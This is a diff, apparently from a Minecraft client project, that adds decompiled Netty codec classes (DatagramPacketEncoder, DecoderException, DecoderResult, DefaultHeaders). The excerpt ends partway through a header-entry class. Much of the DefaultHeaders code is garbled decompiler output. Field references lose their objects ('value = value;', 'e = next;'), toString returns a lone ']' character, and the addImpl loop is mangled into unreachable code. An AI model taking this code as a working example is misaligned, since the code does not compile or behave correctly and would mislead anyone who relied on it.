+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DatagramPacketEncoder<M>
+  extends MessageToMessageEncoder<AddressedEnvelope<M, InetSocketAddress>>
+{
+  private final MessageToMessageEncoder<? super M> encoder;
+  
+  public DatagramPacketEncoder(MessageToMessageEncoder<? super M> encoder)
+  {
+    this.encoder = ((MessageToMessageEncoder)ObjectUtil.checkNotNull(encoder, "encoder"));
+  }
+  
+  public boolean acceptOutboundMessage(Object msg) throws Exception
+  {
+    if (super.acceptOutboundMessage(msg))
+    {
+      AddressedEnvelope envelope = (AddressedEnvelope)msg;
+      return (encoder.acceptOutboundMessage(envelope.content())) && ((envelope.sender() instanceof InetSocketAddress)) && ((envelope.recipient() instanceof InetSocketAddress));
+    }
+    
+
+    return false;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, AddressedEnvelope<M, InetSocketAddress> msg, List<Object> out)
+    throws Exception
+  {
+    assert (out.isEmpty());
+    
+    encoder.encode(ctx, msg.content(), out);
+    if (out.size() != 1) {
+      throw new EncoderException(StringUtil.simpleClassName(encoder) + " must produce only one message.");
+    }
+    
+    Object content = out.get(0);
+    if ((content instanceof ByteBuf))
+    {
+      out.set(0, new DatagramPacket((ByteBuf)content, (InetSocketAddress)msg.recipient(), (InetSocketAddress)msg.sender()));
+    } else {
+      throw new EncoderException(StringUtil.simpleClassName(encoder) + " must produce only ByteBuf.");
+    }
+  }
+  
+  public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    encoder.bind(ctx, localAddress, promise);
+  }
+  
+
+  public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    encoder.connect(ctx, remoteAddress, localAddress, promise);
+  }
+  
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    encoder.disconnect(ctx, promise);
+  }
+  
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    encoder.close(ctx, promise);
+  }
+  
+  public void deregister(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    encoder.deregister(ctx, promise);
+  }
+  
+  public void read(ChannelHandlerContext ctx) throws Exception
+  {
+    encoder.read(ctx);
+  }
+  
+  public void flush(ChannelHandlerContext ctx) throws Exception
+  {
+    encoder.flush(ctx);
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    encoder.handlerAdded(ctx);
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    encoder.handlerRemoved(ctx);
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    encoder.exceptionCaught(ctx, cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/DecoderException.java b/src/minecraft/io/netty/handler/codec/DecoderException.java
new file mode 100644
index 0000000..934b326
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/DecoderException.java
@@ -0,0 +1,51 @@
+package io.netty.handler.codec;
+
+
+
+
+
+
+
+
+
+public class DecoderException
+  extends CodecException
+{
+  private static final long serialVersionUID = 6926716840699621852L;
+  
+
+
+
+
+
+
+
+
+  public DecoderException() {}
+  
+
+
+
+
+
+
+
+  public DecoderException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public DecoderException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public DecoderException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/DecoderResult.java b/src/minecraft/io/netty/handler/codec/DecoderResult.java
new file mode 100644
index 0000000..d1e22de
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/DecoderResult.java
@@ -0,0 +1,81 @@
+package io.netty.handler.codec;
+
+import io.netty.util.Signal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DecoderResult
+{
+  protected static final Signal SIGNAL_UNFINISHED = Signal.valueOf(DecoderResult.class.getName() + ".UNFINISHED");
+  protected static final Signal SIGNAL_SUCCESS = Signal.valueOf(DecoderResult.class.getName() + ".SUCCESS");
+  
+  public static final DecoderResult UNFINISHED = new DecoderResult(SIGNAL_UNFINISHED);
+  public static final DecoderResult SUCCESS = new DecoderResult(SIGNAL_SUCCESS);
+  private final Throwable cause;
+  
+  public static DecoderResult failure(Throwable cause) { if (cause == null) {
+      throw new NullPointerException("cause");
+    }
+    return new DecoderResult(cause);
+  }
+  
+
+  protected DecoderResult(Throwable cause)
+  {
+    if (cause == null) {
+      throw new NullPointerException("cause");
+    }
+    this.cause = cause;
+  }
+  
+  public boolean isFinished() {
+    return cause != SIGNAL_UNFINISHED;
+  }
+  
+  public boolean isSuccess() {
+    return cause == SIGNAL_SUCCESS;
+  }
+  
+  public boolean isFailure() {
+    return (cause != SIGNAL_SUCCESS) && (cause != SIGNAL_UNFINISHED);
+  }
+  
+  public Throwable cause() {
+    if (isFailure()) {
+      return cause;
+    }
+    return null;
+  }
+  
+
+  public String toString()
+  {
+    if (isFinished()) {
+      if (isSuccess()) {
+        return "success";
+      }
+      
+      String cause = cause().toString();
+      StringBuilder buf = new StringBuilder(cause.length() + 17);
+      buf.append("failure(");
+      buf.append(cause);
+      buf.append(')');
+      
+      return buf.toString();
+    }
+    return "unfinished";
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/DecoderResultProvider.java b/src/minecraft/io/netty/handler/codec/DecoderResultProvider.java
new file mode 100644
index 0000000..7282054
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/DecoderResultProvider.java
@@ -0,0 +1,8 @@
+package io.netty.handler.codec;
+
+public abstract interface DecoderResultProvider
+{
+  public abstract DecoderResult decoderResult();
+  
+  public abstract void setDecoderResult(DecoderResult paramDecoderResult);
+}
diff --git a/src/minecraft/io/netty/handler/codec/DefaultHeaders.java b/src/minecraft/io/netty/handler/codec/DefaultHeaders.java
new file mode 100644
index 0000000..b28dadb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/DefaultHeaders.java
@@ -0,0 +1,1135 @@
+package io.netty.handler.codec;
+
+import io.netty.util.HashingStrategy;
+import io.netty.util.concurrent.FastThreadLocal;
+import io.netty.util.internal.MathUtil;
+import io.netty.util.internal.ObjectUtil;
+import java.text.DateFormat;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHeaders<K, V, T extends Headers<K, V, T>>
+  implements Headers<K, V, T>
+{
+  static final int HASH_CODE_SEED = -1028477387;
+  private final HeaderEntry<K, V>[] entries;
+  protected final HeaderEntry<K, V> head;
+  private final byte hashMask;
+  private final ValueConverter<V> valueConverter;
+  private final NameValidator<K> nameValidator;
+  private final HashingStrategy<K> hashingStrategy;
+  int size;
+  
+  public static abstract interface NameValidator<K>
+  {
+    public static final NameValidator NOT_NULL = new NameValidator()
+    {
+      public void validateName(Object name) {
+        ObjectUtil.checkNotNull(name, "name");
+      }
+    };
+    
+    public abstract void validateName(K paramK);
+  }
+  
+  public DefaultHeaders(ValueConverter<V> valueConverter) { this(HashingStrategy.JAVA_HASHER, valueConverter); }
+  
+
+  public DefaultHeaders(ValueConverter<V> valueConverter, NameValidator<K> nameValidator)
+  {
+    this(HashingStrategy.JAVA_HASHER, valueConverter, nameValidator);
+  }
+  
+  public DefaultHeaders(HashingStrategy<K> nameHashingStrategy, ValueConverter<V> valueConverter)
+  {
+    this(nameHashingStrategy, valueConverter, NameValidator.NOT_NULL);
+  }
+  
+  public DefaultHeaders(HashingStrategy<K> nameHashingStrategy, ValueConverter<V> valueConverter, NameValidator<K> nameValidator)
+  {
+    this(nameHashingStrategy, valueConverter, nameValidator, 16);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public DefaultHeaders(HashingStrategy<K> nameHashingStrategy, ValueConverter<V> valueConverter, NameValidator<K> nameValidator, int arraySizeHint)
+  {
+    this.valueConverter = ((ValueConverter)ObjectUtil.checkNotNull(valueConverter, "valueConverter"));
+    this.nameValidator = ((NameValidator)ObjectUtil.checkNotNull(nameValidator, "nameValidator"));
+    hashingStrategy = ((HashingStrategy)ObjectUtil.checkNotNull(nameHashingStrategy, "nameHashingStrategy"));
+    
+
+    entries = new HeaderEntry[MathUtil.findNextPositivePowerOfTwo(Math.max(2, Math.min(arraySizeHint, 128)))];
+    hashMask = ((byte)(entries.length - 1));
+    head = new HeaderEntry();
+  }
+  
+  public V get(K name)
+  {
+    ObjectUtil.checkNotNull(name, "name");
+    
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    HeaderEntry<K, V> e = entries[i];
+    V value = null;
+    
+    while (e != null) {
+      if ((hash == h) && (hashingStrategy.equals(name, key))) {
+        value = value;
+      }
+      
+      e = next;
+    }
+    return value;
+  }
+  
+  public V get(K name, V defaultValue)
+  {
+    V value = get(name);
+    if (value == null) {
+      return defaultValue;
+    }
+    return value;
+  }
+  
+  public V getAndRemove(K name)
+  {
+    int h = hashingStrategy.hashCode(name);
+    return remove0(h, index(h), ObjectUtil.checkNotNull(name, "name"));
+  }
+  
+  public V getAndRemove(K name, V defaultValue)
+  {
+    V value = getAndRemove(name);
+    if (value == null) {
+      return defaultValue;
+    }
+    return value;
+  }
+  
+  public List<V> getAll(K name)
+  {
+    ObjectUtil.checkNotNull(name, "name");
+    
+    LinkedList<V> values = new LinkedList();
+    
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    HeaderEntry<K, V> e = entries[i];
+    while (e != null) {
+      if ((hash == h) && (hashingStrategy.equals(name, key))) {
+        values.addFirst(e.getValue());
+      }
+      e = next;
+    }
+    return values;
+  }
+  
+  public List<V> getAllAndRemove(K name)
+  {
+    List<V> all = getAll(name);
+    remove(name);
+    return all;
+  }
+  
+  public boolean contains(K name)
+  {
+    return get(name) != null;
+  }
+  
+  public boolean containsObject(K name, Object value)
+  {
+    return contains(name, valueConverter.convertObject(ObjectUtil.checkNotNull(value, "value")));
+  }
+  
+  public boolean containsBoolean(K name, boolean value)
+  {
+    return contains(name, valueConverter.convertBoolean(value));
+  }
+  
+  public boolean containsByte(K name, byte value)
+  {
+    return contains(name, valueConverter.convertByte(value));
+  }
+  
+  public boolean containsChar(K name, char value)
+  {
+    return contains(name, valueConverter.convertChar(value));
+  }
+  
+  public boolean containsShort(K name, short value)
+  {
+    return contains(name, valueConverter.convertShort(value));
+  }
+  
+  public boolean containsInt(K name, int value)
+  {
+    return contains(name, valueConverter.convertInt(value));
+  }
+  
+  public boolean containsLong(K name, long value)
+  {
+    return contains(name, valueConverter.convertLong(value));
+  }
+  
+  public boolean containsFloat(K name, float value)
+  {
+    return contains(name, valueConverter.convertFloat(value));
+  }
+  
+  public boolean containsDouble(K name, double value)
+  {
+    return contains(name, valueConverter.convertDouble(value));
+  }
+  
+  public boolean containsTimeMillis(K name, long value)
+  {
+    return contains(name, valueConverter.convertTimeMillis(value));
+  }
+  
+
+  public boolean contains(K name, V value)
+  {
+    return contains(name, value, HashingStrategy.JAVA_HASHER);
+  }
+  
+  public final boolean contains(K name, V value, HashingStrategy<? super V> valueHashingStrategy) {
+    ObjectUtil.checkNotNull(name, "name");
+    
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    HeaderEntry<K, V> e = entries[i];
+    while (e != null) {
+      if ((hash == h) && (hashingStrategy.equals(name, key)) && (valueHashingStrategy.equals(value, value))) {
+        return true;
+      }
+      e = next;
+    }
+    return false;
+  }
+  
+  public int size()
+  {
+    return size;
+  }
+  
+  public boolean isEmpty()
+  {
+    return head == head.after;
+  }
+  
+  public Set<K> names()
+  {
+    if (isEmpty()) {
+      return Collections.emptySet();
+    }
+    Set<K> names = new LinkedHashSet(size());
+    HeaderEntry<K, V> e = head.after;
+    while (e != head) {
+      names.add(e.getKey());
+      e = after;
+    }
+    return names;
+  }
+  
+  public T add(K name, V value)
+  {
+    nameValidator.validateName(name);
+    ObjectUtil.checkNotNull(value, "value");
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    add0(h, i, name, value);
+    return thisT();
+  }
+  
+  public T add(K name, Iterable<? extends V> values)
+  {
+    nameValidator.validateName(name);
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    for (V v : values) {
+      add0(h, i, name, v);
+    }
+    return thisT();
+  }
+  
+  public T add(K name, V... values)
+  {
+    nameValidator.validateName(name);
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    for (V v : values) {
+      add0(h, i, name, v);
+    }
+    return thisT();
+  }
+  
+  public T addObject(K name, Object value)
+  {
+    return add(name, valueConverter.convertObject(ObjectUtil.checkNotNull(value, "value")));
+  }
+  
+  public T addObject(K name, Iterable<?> values)
+  {
+    for (Object value : values) {
+      addObject(name, value);
+    }
+    return thisT();
+  }
+  
+  public T addObject(K name, Object... values)
+  {
+    for (int i = 0; i < values.length; i++) {
+      addObject(name, values[i]);
+    }
+    return thisT();
+  }
+  
+  public T addInt(K name, int value)
+  {
+    return add(name, valueConverter.convertInt(value));
+  }
+  
+  public T addLong(K name, long value)
+  {
+    return add(name, valueConverter.convertLong(value));
+  }
+  
+  public T addDouble(K name, double value)
+  {
+    return add(name, valueConverter.convertDouble(value));
+  }
+  
+  public T addTimeMillis(K name, long value)
+  {
+    return add(name, valueConverter.convertTimeMillis(value));
+  }
+  
+  public T addChar(K name, char value)
+  {
+    return add(name, valueConverter.convertChar(value));
+  }
+  
+  public T addBoolean(K name, boolean value)
+  {
+    return add(name, valueConverter.convertBoolean(value));
+  }
+  
+  public T addFloat(K name, float value)
+  {
+    return add(name, valueConverter.convertFloat(value));
+  }
+  
+  public T addByte(K name, byte value)
+  {
+    return add(name, valueConverter.convertByte(value));
+  }
+  
+  public T addShort(K name, short value)
+  {
+    return add(name, valueConverter.convertShort(value));
+  }
+  
+  public T add(Headers<? extends K, ? extends V, ?> headers)
+  {
+    if (headers == this) {
+      throw new IllegalArgumentException("can't add to itself.");
+    }
+    addImpl(headers);
+    return thisT();
+  }
+  
+  protected void addImpl(Headers<? extends K, ? extends V, ?> headers) {
+    if ((headers instanceof DefaultHeaders))
+    {
+      DefaultHeaders<? extends K, ? extends V, T> defaultHeaders = (DefaultHeaders)headers;
+      
+      HeaderEntry<? extends K, ? extends V> e = head.after;
+      if ((hashingStrategy == hashingStrategy) && (nameValidator == nameValidator)) {}
+      
+
+      while (e != head) {
+        add0(hash, index(hash), key, value);
+        e = after; continue;
+        
+
+
+        while (e != head) {
+          add(key, value);
+          e = after;
+        }
+      }
+    }
+    else {
+      for (Map.Entry<? extends K, ? extends V> header : headers) {
+        add(header.getKey(), header.getValue());
+      }
+    }
+  }
+  
+  public T set(K name, V value)
+  {
+    nameValidator.validateName(name);
+    ObjectUtil.checkNotNull(value, "value");
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    remove0(h, i, name);
+    add0(h, i, name, value);
+    return thisT();
+  }
+  
+  public T set(K name, Iterable<? extends V> values)
+  {
+    nameValidator.validateName(name);
+    ObjectUtil.checkNotNull(values, "values");
+    
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    
+    remove0(h, i, name);
+    for (V v : values) {
+      if (v == null) {
+        break;
+      }
+      add0(h, i, name, v);
+    }
+    
+    return thisT();
+  }
+  
+  public T set(K name, V... values)
+  {
+    nameValidator.validateName(name);
+    ObjectUtil.checkNotNull(values, "values");
+    
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    
+    remove0(h, i, name);
+    for (V v : values) {
+      if (v == null) {
+        break;
+      }
+      add0(h, i, name, v);
+    }
+    
+    return thisT();
+  }
+  
+  public T setObject(K name, Object value)
+  {
+    ObjectUtil.checkNotNull(value, "value");
+    V convertedValue = ObjectUtil.checkNotNull(valueConverter.convertObject(value), "convertedValue");
+    return set(name, convertedValue);
+  }
+  
+  public T setObject(K name, Iterable<?> values)
+  {
+    nameValidator.validateName(name);
+    
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    
+    remove0(h, i, name);
+    for (Object v : values) {
+      if (v == null) {
+        break;
+      }
+      add0(h, i, name, valueConverter.convertObject(v));
+    }
+    
+    return thisT();
+  }
+  
+  public T setObject(K name, Object... values)
+  {
+    nameValidator.validateName(name);
+    
+    int h = hashingStrategy.hashCode(name);
+    int i = index(h);
+    
+    remove0(h, i, name);
+    for (Object v : values) {
+      if (v == null) {
+        break;
+      }
+      add0(h, i, name, valueConverter.convertObject(v));
+    }
+    
+    return thisT();
+  }
+  
+  public T setInt(K name, int value)
+  {
+    return set(name, valueConverter.convertInt(value));
+  }
+  
+  public T setLong(K name, long value)
+  {
+    return set(name, valueConverter.convertLong(value));
+  }
+  
+  public T setDouble(K name, double value)
+  {
+    return set(name, valueConverter.convertDouble(value));
+  }
+  
+  public T setTimeMillis(K name, long value)
+  {
+    return set(name, valueConverter.convertTimeMillis(value));
+  }
+  
+  public T setFloat(K name, float value)
+  {
+    return set(name, valueConverter.convertFloat(value));
+  }
+  
+  public T setChar(K name, char value)
+  {
+    return set(name, valueConverter.convertChar(value));
+  }
+  
+  public T setBoolean(K name, boolean value)
+  {
+    return set(name, valueConverter.convertBoolean(value));
+  }
+  
+  public T setByte(K name, byte value)
+  {
+    return set(name, valueConverter.convertByte(value));
+  }
+  
+  public T setShort(K name, short value)
+  {
+    return set(name, valueConverter.convertShort(value));
+  }
+  
+  public T set(Headers<? extends K, ? extends V, ?> headers)
+  {
+    if (headers != this) {
+      clear();
+      addImpl(headers);
+    }
+    return thisT();
+  }
+  
+  public T setAll(Headers<? extends K, ? extends V, ?> headers)
+  {
+    if (headers != this) {
+      for (K key : headers.names()) {
+        remove(key);
+      }
+      addImpl(headers);
+    }
+    return thisT();
+  }
+  
+  public boolean remove(K name)
+  {
+    return getAndRemove(name) != null;
+  }
+  
+  public T clear()
+  {
+    Arrays.fill(entries, null);
+    head.before = (head.after = head);
+    size = 0;
+    return thisT();
+  }
+  
+  public Iterator<Map.Entry<K, V>> iterator()
+  {
+    return new HeaderIterator(null);
+  }
+  
+  public Boolean getBoolean(K name)
+  {
+    V v = get(name);
+    return v != null ? Boolean.valueOf(valueConverter.convertToBoolean(v)) : null;
+  }
+  
+  public boolean getBoolean(K name, boolean defaultValue)
+  {
+    Boolean v = getBoolean(name);
+    return v != null ? v.booleanValue() : defaultValue;
+  }
+  
+  public Byte getByte(K name)
+  {
+    V v = get(name);
+    return v != null ? Byte.valueOf(valueConverter.convertToByte(v)) : null;
+  }
+  
+  public byte getByte(K name, byte defaultValue)
+  {
+    Byte v = getByte(name);
+    return v != null ? v.byteValue() : defaultValue;
+  }
+  
+  public Character getChar(K name)
+  {
+    V v = get(name);
+    return v != null ? Character.valueOf(valueConverter.convertToChar(v)) : null;
+  }
+  
+  public char getChar(K name, char defaultValue)
+  {
+    Character v = getChar(name);
+    return v != null ? v.charValue() : defaultValue;
+  }
+  
+  public Short getShort(K name)
+  {
+    V v = get(name);
+    return v != null ? Short.valueOf(valueConverter.convertToShort(v)) : null;
+  }
+  
+  public short getShort(K name, short defaultValue)
+  {
+    Short v = getShort(name);
+    return v != null ? v.shortValue() : defaultValue;
+  }
+  
+  public Integer getInt(K name)
+  {
+    V v = get(name);
+    return v != null ? Integer.valueOf(valueConverter.convertToInt(v)) : null;
+  }
+  
+  public int getInt(K name, int defaultValue)
+  {
+    Integer v = getInt(name);
+    return v != null ? v.intValue() : defaultValue;
+  }
+  
+  public Long getLong(K name)
+  {
+    V v = get(name);
+    return v != null ? Long.valueOf(valueConverter.convertToLong(v)) : null;
+  }
+  
+  public long getLong(K name, long defaultValue)
+  {
+    Long v = getLong(name);
+    return v != null ? v.longValue() : defaultValue;
+  }
+  
+  public Float getFloat(K name)
+  {
+    V v = get(name);
+    return v != null ? Float.valueOf(valueConverter.convertToFloat(v)) : null;
+  }
+  
+  public float getFloat(K name, float defaultValue)
+  {
+    Float v = getFloat(name);
+    return v != null ? v.floatValue() : defaultValue;
+  }
+  
+  public Double getDouble(K name)
+  {
+    V v = get(name);
+    return v != null ? Double.valueOf(valueConverter.convertToDouble(v)) : null;
+  }
+  
+  public double getDouble(K name, double defaultValue)
+  {
+    Double v = getDouble(name);
+    return v != null ? v.doubleValue() : defaultValue;
+  }
+  
+  public Long getTimeMillis(K name)
+  {
+    V v = get(name);
+    return v != null ? Long.valueOf(valueConverter.convertToTimeMillis(v)) : null;
+  }
+  
+  public long getTimeMillis(K name, long defaultValue)
+  {
+    Long v = getTimeMillis(name);
+    return v != null ? v.longValue() : defaultValue;
+  }
+  
+  public Boolean getBooleanAndRemove(K name)
+  {
+    V v = getAndRemove(name);
+    return v != null ? Boolean.valueOf(valueConverter.convertToBoolean(v)) : null;
+  }
+  
+  public boolean getBooleanAndRemove(K name, boolean defaultValue)
+  {
+    Boolean v = getBooleanAndRemove(name);
+    return v != null ? v.booleanValue() : defaultValue;
+  }
+  
+  public Byte getByteAndRemove(K name)
+  {
+    V v = getAndRemove(name);
+    return v != null ? Byte.valueOf(valueConverter.convertToByte(v)) : null;
+  }
+  
+  public byte getByteAndRemove(K name, byte defaultValue)
+  {
+    Byte v = getByteAndRemove(name);
+    return v != null ? v.byteValue() : defaultValue;
+  }
+  
+  public Character getCharAndRemove(K name)
+  {
+    V v = getAndRemove(name);
+    if (v == null) {
+      return null;
+    }
+    try {
+      return Character.valueOf(valueConverter.convertToChar(v));
+    } catch (Throwable ignored) {}
+    return null;
+  }
+  
+
+  public char getCharAndRemove(K name, char defaultValue)
+  {
+    Character v = getCharAndRemove(name);
+    return v != null ? v.charValue() : defaultValue;
+  }
+  
+  public Short getShortAndRemove(K name)
+  {
+    V v = getAndRemove(name);
+    return v != null ? Short.valueOf(valueConverter.convertToShort(v)) : null;
+  }
+  
+  public short getShortAndRemove(K name, short defaultValue)
+  {
+    Short v = getShortAndRemove(name);
+    return v != null ? v.shortValue() : defaultValue;
+  }
+  
+  public Integer getIntAndRemove(K name)
+  {
+    V v = getAndRemove(name);
+    return v != null ? Integer.valueOf(valueConverter.convertToInt(v)) : null;
+  }
+  
+  public int getIntAndRemove(K name, int defaultValue)
+  {
+    Integer v = getIntAndRemove(name);
+    return v != null ? v.intValue() : defaultValue;
+  }
+  
+  public Long getLongAndRemove(K name)
+  {
+    V v = getAndRemove(name);
+    return v != null ? Long.valueOf(valueConverter.convertToLong(v)) : null;
+  }
+  
+  public long getLongAndRemove(K name, long defaultValue)
+  {
+    Long v = getLongAndRemove(name);
+    return v != null ? v.longValue() : defaultValue;
+  }
+  
+  public Float getFloatAndRemove(K name)
+  {
+    V v = getAndRemove(name);
+    return v != null ? Float.valueOf(valueConverter.convertToFloat(v)) : null;
+  }
+  
+  public float getFloatAndRemove(K name, float defaultValue)
+  {
+    Float v = getFloatAndRemove(name);
+    return v != null ? v.floatValue() : defaultValue;
+  }
+  
+  public Double getDoubleAndRemove(K name)
+  {
+    V v = getAndRemove(name);
+    return v != null ? Double.valueOf(valueConverter.convertToDouble(v)) : null;
+  }
+  
+  public double getDoubleAndRemove(K name, double defaultValue)
+  {
+    Double v = getDoubleAndRemove(name);
+    return v != null ? v.doubleValue() : defaultValue;
+  }
+  
+  public Long getTimeMillisAndRemove(K name)
+  {
+    V v = getAndRemove(name);
+    return v != null ? Long.valueOf(valueConverter.convertToTimeMillis(v)) : null;
+  }
+  
+  public long getTimeMillisAndRemove(K name, long defaultValue)
+  {
+    Long v = getTimeMillisAndRemove(name);
+    return v != null ? v.longValue() : defaultValue;
+  }
+  
+
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof Headers)) {
+      return false;
+    }
+    
+    return equals((Headers)o, HashingStrategy.JAVA_HASHER);
+  }
+  
+
+  public int hashCode()
+  {
+    return hashCode(HashingStrategy.JAVA_HASHER);
+  }
+  
+
+
+
+
+
+
+  public final boolean equals(Headers<K, V, ?> h2, HashingStrategy<V> valueHashingStrategy)
+  {
+    if (h2.size() != size()) {
+      return false;
+    }
+    
+    if (this == h2) {
+      return true;
+    }
+    
+    for (K name : names()) {
+      List<V> otherValues = h2.getAll(name);
+      List<V> values = getAll(name);
+      if (otherValues.size() != values.size()) {
+        return false;
+      }
+      for (int i = 0; i < otherValues.size(); i++) {
+        if (!valueHashingStrategy.equals(otherValues.get(i), values.get(i))) {
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+  public final int hashCode(HashingStrategy<V> valueHashingStrategy)
+  {
+    int result = -1028477387;
+    for (K name : names()) {
+      result = 31 * result + hashingStrategy.hashCode(name);
+      List<V> values = getAll(name);
+      for (int i = 0; i < values.size(); i++) {
+        result = 31 * result + valueHashingStrategy.hashCode(values.get(i));
+      }
+    }
+    return result;
+  }
+  
+  public String toString()
+  {
+    StringBuilder builder = new StringBuilder(getClass().getSimpleName()).append('[');
+    String separator = "";
+    for (K name : names()) {
+      List<V> values = getAll(name);
+      for (int i = 0; i < values.size(); i++) {
+        builder.append(separator);
+        builder.append(name).append(": ").append(values.get(i));
+        separator = ", ";
+      }
+    }
+    return ']';
+  }
+  
+  protected HeaderEntry<K, V> newHeaderEntry(int h, K name, V value, HeaderEntry<K, V> next) {
+    return new HeaderEntry(h, name, value, next, head);
+  }
+  
+  protected ValueConverter<V> valueConverter() {
+    return valueConverter;
+  }
+  
+  private int index(int hash) {
+    return hash & hashMask;
+  }
+  
+  private void add0(int h, int i, K name, V value)
+  {
+    entries[i] = newHeaderEntry(h, name, value, entries[i]);
+    size += 1;
+  }
+  
+
+
+  private V remove0(int h, int i, K name)
+  {
+    HeaderEntry<K, V> e = entries[i];
+    if (e == null) {
+      return null;
+    }
+    
+    V value = null;
+    HeaderEntry<K, V> next = next;
+    while (next != null) {
+      if ((hash == h) && (hashingStrategy.equals(name, key))) {
+        value = value;
+        next = next;
+        next.remove();
+        size -= 1;
+      } else {
+        e = next;
+      }
+      
+      next = next;
+    }
+    
+    e = entries[i];
+    if ((hash == h) && (hashingStrategy.equals(name, key))) {
+      if (value == null) {
+        value = value;
+      }
+      entries[i] = next;
+      e.remove();
+      size -= 1;
+    }
+    
+    return value;
+  }
+  
+  private T thisT()
+  {
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public static final class HeaderDateFormat
+  {
+    private static final FastThreadLocal<HeaderDateFormat> dateFormatThreadLocal = new FastThreadLocal()
+    {
+      protected DefaultHeaders.HeaderDateFormat initialValue()
+      {
+        return new DefaultHeaders.HeaderDateFormat(null);
+      }
+    };
+    
+    static HeaderDateFormat get() {
+      return (HeaderDateFormat)dateFormatThreadLocal.get();
+    }
+    
+
+
+
+
+
+
+
+    private final DateFormat dateFormat1 = new SimpleDateFormat("E, dd MMM yyyy HH:mm:ss z", Locale.ENGLISH);
+    
+
+
+
+
+
+
+
+    private final DateFormat dateFormat2 = new SimpleDateFormat("E, dd-MMM-yy HH:mm:ss z", Locale.ENGLISH);
+    
+
+
+
+
+
+
+
+    private final DateFormat dateFormat3 = new SimpleDateFormat("E MMM d HH:mm:ss yyyy", Locale.ENGLISH);
+    
+    private HeaderDateFormat() {
+      TimeZone tz = TimeZone.getTimeZone("GMT");
+      dateFormat1.setTimeZone(tz);
+      dateFormat2.setTimeZone(tz);
+      dateFormat3.setTimeZone(tz);
+    }
+    
+    long parse(String text) throws ParseException {
+      Date date = dateFormat1.parse(text);
+      if (date == null) {
+        date = dateFormat2.parse(text);
+      }
+      if (date == null) {
+        date = dateFormat3.parse(text);
+      }
+      if (date == null) {
+        throw new ParseException(text, 0);
+      }
+      return date.getTime();
+    }
+  }
+  
+  private final class HeaderIterator implements Iterator<Map.Entry<K, V>> {
+    private DefaultHeaders.HeaderEntry<K, V> current = head;
+    
+    private HeaderIterator() {}
+    
+    public boolean hasNext() { return current.after != head; }
+    
+
+    public Map.Entry<K, V> next()
+    {
+      current = current.after;
+      
+      if (current == head) {
+        throw new NoSuchElementException();
+      }
+      
+      return current;
+    }
+    
+    public void remove()
+    {
+      throw new UnsupportedOperationException("read-only iterator");
+    }
+  }
+  
+
+  protected static class HeaderEntry<K, V>
+    implements Map.Entry<K, V>
+  {
+    protected final int hash;
+    
+    protected final K key;
+    protected V value;
+    protected HeaderEntry<K, V> next;
+    protected HeaderEntry<K, V> before;
+    protected HeaderEntry<K, V> after;
+    
+    protected HeaderEntry(int hash, K key)
+    {
+      this.hash = hash;
+      this.key = key;
+    }
+    
+    HeaderEntry(int hash, K key, V value, HeaderEntry<K, V> next, HeaderEntry<K, V> head) {
+      this.hash = hash;
+      this.key = key;
+      this.value = value;
+      this.next = next;
+      
+      after = head;
+      before = before;
+      pointNeighborsToThis();
+    }
+    
+    HeaderEntry() {
+      hash = -1;
+      key = null;
+      after = this;before = this;
+    }
+    
+    protected final void pointNeighborsToThis() {
+      before.after = this;
+      after.before = this;
+    }
+    
+    public final HeaderEntry<K, V> before() {
+      return before;
+    }
+    
+    public final HeaderEntry<K, V> after() {
+      return after;
+    }
+    
+    protected void remove() {
+      before.after = after;
+      after.before = before;
+    }
+    
+    public final K getKey()
+    {
+      return key;
+    }
+    
+    public final V getValue()
+    {
+      return value;
+    }
+    
+    public final V setValue(V value)
+    {
+      ObjectUtil.checkNotNull(value, "value");
+      V oldValue = this.value;
+      this.value = value;
+      return oldValue;
+    }
+    
+    public final String toString()
+    {
